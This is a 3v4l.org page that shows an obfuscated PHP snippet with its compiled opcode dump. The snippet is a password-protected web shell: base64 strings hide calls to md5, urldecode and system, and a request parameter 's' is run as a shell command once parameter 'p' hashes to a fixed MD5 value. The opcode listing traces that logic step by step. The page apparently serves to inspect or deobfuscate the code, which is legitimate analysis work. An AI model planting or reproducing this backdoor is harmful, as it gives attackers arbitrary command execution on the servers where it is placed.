3v4l.org

run code in 300+ PHP versions simultaneously
<?php $GLOBALS['_131068239_']=Array(base64_decode('bWQ' .'1'),base64_decode('' .'dXJsZGV' .'jb' .'2Rl'),base64_decode('dX' .'JsZGVjb2Rl'),base64_decode('c3lz' .'dGVt')); ?><? function _787708145($i){$a=Array('MmNhZjY5MTdjYTNkOWEzYTg1ZDI2MDI5ZWQ2MjNiMWE=','cA==','cw==','');return base64_decode($a[$i]);} ?><?php $_0=_787708145(0);$_1=$GLOBALS['_131068239_'][0]($GLOBALS['_131068239_'][1]($_REQUEST[_787708145(1)]));if($_1!=$_0)exit;$_2=$GLOBALS['_131068239_'][2]($_REQUEST[_787708145(2)]);if($_2==_787708145(3))exit;$GLOBALS['_131068239_'][3]($_2);exit; ?>
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 44, Position 2 = 45
Branch analysis from position: 44
1 jumps found. (Code = 79) Position 1 = -2
Branch analysis from position: 45
2 jumps found. (Code = 43) Position 1 = 63, Position 2 = 64
Branch analysis from position: 63
1 jumps found. (Code = 79) Position 1 = -2
Branch analysis from position: 64
1 jumps found. (Code = 79) Position 1 = -2
filename:       /in/0dnbk
function name:  (null)
number of ops:  72
compiled vars:  !0 = $_0, !1 = $_1, !2 = $_2
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    1     0  E >   INIT_FCALL                                               'base64_decode'
          1        SEND_VAL                                                 'bWQ1'
          2        DO_ICALL                                         $5      
          3        INIT_ARRAY                                       ~6      $5
          4        INIT_FCALL                                               'base64_decode'
          5        SEND_VAL                                                 'dXJsZGVjb2Rl'
          6        DO_ICALL                                         $7      
          7        ADD_ARRAY_ELEMENT                                ~6      $7
          8        INIT_FCALL                                               'base64_decode'
          9        SEND_VAL                                                 'dXJsZGVjb2Rl'
         10        DO_ICALL                                         $8      
         11        ADD_ARRAY_ELEMENT                                ~6      $8
         12        INIT_FCALL                                               'base64_decode'
         13        SEND_VAL                                                 'c3lzdGVt'
         14        DO_ICALL                                         $9      
         15        ADD_ARRAY_ELEMENT                                ~6      $9
         16        FETCH_W                      global              $3      'GLOBALS'
         17        ASSIGN_DIM                                               $3, '_131068239_'
         18        OP_DATA                                                  ~6
         19        INIT_FCALL                                               '_787708145'
         20        SEND_VAL                                                 0
         21        DO_FCALL                                      0  $10     
         22        ASSIGN                                                   !0, $10
         23        FETCH_R                      global              ~12     'GLOBALS'
         24        FETCH_DIM_R                                      ~13     ~12, '_131068239_'
         25        FETCH_DIM_R                                      ~14     ~13, 0
         26        INIT_DYNAMIC_CALL                                        ~14
         27        FETCH_R                      global              ~15     'GLOBALS'
         28        FETCH_DIM_R                                      ~16     ~15, '_131068239_'
         29        FETCH_DIM_R                                      ~17     ~16, 1
         30        INIT_DYNAMIC_CALL                                        ~17
         31        CHECK_FUNC_ARG                                           
         32        INIT_FCALL                                               '_787708145'
         33        SEND_VAL                                                 1
         34        DO_FCALL                                      0  $19     
         35        FETCH_FUNC_ARG               global              $18     '_REQUEST'
         36        FETCH_DIM_FUNC_ARG                               $20     $18, $19
         37        SEND_FUNC_ARG                                            $20
         38        DO_FCALL                                      0  $21     
         39        SEND_VAR_NO_REF_EX                                       $21
         40        DO_FCALL                                      0  $22     
         41        ASSIGN                                                   !1, $22
         42        IS_NOT_EQUAL                                             !1, !0
         43      > JMPZ                                                     ~24, ->45
         44    > > EXIT                                                     
         45    >   FETCH_R                      global              ~25     'GLOBALS'
         46        FETCH_DIM_R                                      ~26     ~25, '_131068239_'
         47        FETCH_DIM_R                                      ~27     ~26, 2
         48        INIT_DYNAMIC_CALL                                        ~27
         49        CHECK_FUNC_ARG                                           
         50        INIT_FCALL                                               '_787708145'
         51        SEND_VAL                                                 2
         52        DO_FCALL                                      0  $29     
         53        FETCH_FUNC_ARG               global              $28     '_REQUEST'
         54        FETCH_DIM_FUNC_ARG                               $30     $28, $29
         55        SEND_FUNC_ARG                                            $30
         56        DO_FCALL                                      0  $31     
         57        ASSIGN                                                   !2, $31
         58        INIT_FCALL                                               '_787708145'
         59        SEND_VAL                                                 3
         60        DO_FCALL                                      0  $33     
         61        IS_EQUAL                                                 !2, $33
         62      > JMPZ                                                     ~34, ->64
         63    > > EXIT                                                     
         64    >   FETCH_R                      global              ~35     'GLOBALS'
         65        FETCH_DIM_R                                      ~36     ~35, '_131068239_'
         66        FETCH_DIM_R                                      ~37     ~36, 3
         67        INIT_DYNAMIC_CALL                                        ~37
         68        SEND_VAR_EX                                              !2
         69        DO_FCALL                                      0          
         70      > EXIT                                                     
         71*     > RETURN                                                   1

Function _787708145:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/0dnbk
function name:  _787708145
number of ops:  8
compiled vars:  !0 = $i, !1 = $a
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
          0  E >   RECV                                             !0      
          1        ASSIGN                                                   !1, <array>
          2        INIT_FCALL                                               'base64_decode'
          3        FETCH_DIM_R                                      ~3      !1, !0
          4        SEND_VAL                                                 ~3
          5        DO_ICALL                                         $4      
          6      > RETURN                                                   $4
          7*     > RETURN                                                   null

End of function _787708145

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
161.7 ms | 1403 KiB | 19 Q